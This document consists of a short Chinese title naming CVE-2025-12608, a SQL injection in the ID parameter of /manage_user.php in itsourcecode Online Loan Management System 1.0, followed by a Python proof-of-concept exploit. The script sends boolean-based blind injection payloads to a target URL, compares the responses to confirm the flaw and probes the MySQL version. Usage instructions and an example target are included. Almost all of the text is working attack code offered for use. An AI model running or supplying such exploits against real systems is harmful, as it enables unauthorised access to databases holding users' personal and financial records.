CVE-2025-12608: itsourcecode在线贷款管理系统ID参数SQL注入漏洞

import requests import sys # CVE-2025-12608 SQL Injection PoC # Target: itsourcecode Online Loan Management System 1.0 # File: /manage_user.php # Parameter: ID def exploit_sqli(target_url, param_id): """ SQL Injection exploit for CVE-2025-12608 Tests for boolean-based blind SQL injection """ # Normal request baseline baseline_url = f"{target_url}/manage_user.php?id={param_id}" # Boolean-based blind SQL injection test # Extract database version using substring and comparison payloads = [ f"{param_id}' AND 1=1 -- -", # True condition f"{param_id}' AND 1=2 -- -", # False condition f"{param_id}' AND (SELECT SUBSTRING(@@version,1,1))='5' -- -", # MySQL 5.x ] print(f"[*] Target: {target_url}") print(f"[*] Testing SQL Injection on parameter ID: {param_id}") try: # Test true condition resp_true = requests.get(baseline_url.replace(str(param_id), payloads[0]), timeout=10) # Test false condition resp_false = requests.get(baseline_url.replace(str(param_id), payloads[1]), timeout=10) # Compare responses to confirm vulnerability if resp_true.status_code == 200 and resp_false.status_code != resp_true.status_code: print("[+] SQL Injection vulnerability confirmed!") print("[+] True condition returns different response than false condition") # Extract database version print("[*] Attempting to extract database version...") version_payload = f"{param_id}' AND (SELECT SUBSTRING(@@version,1,1))='5' -- -" resp_version = requests.get(baseline_url.replace(str(param_id), version_payload), timeout=10) if resp_version.status_code == resp_true.status_code: print("[+] Database appears to be MySQL 5.x") else: print("[-] SQL Injection test inconclusive") print(f"[*] Response codes - True: {resp_true.status_code}, False: {resp_false.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False return True if __name__ == "__main__": if len(sys.argv) > 2: target = sys.argv[1] param_id = sys.argv[2] exploit_sqli(target, param_id) else: print("Usage: python cve-2025-12608.py <target_url> <id_value>") print("Example: python cve-2025-12608.py http://target.com 1")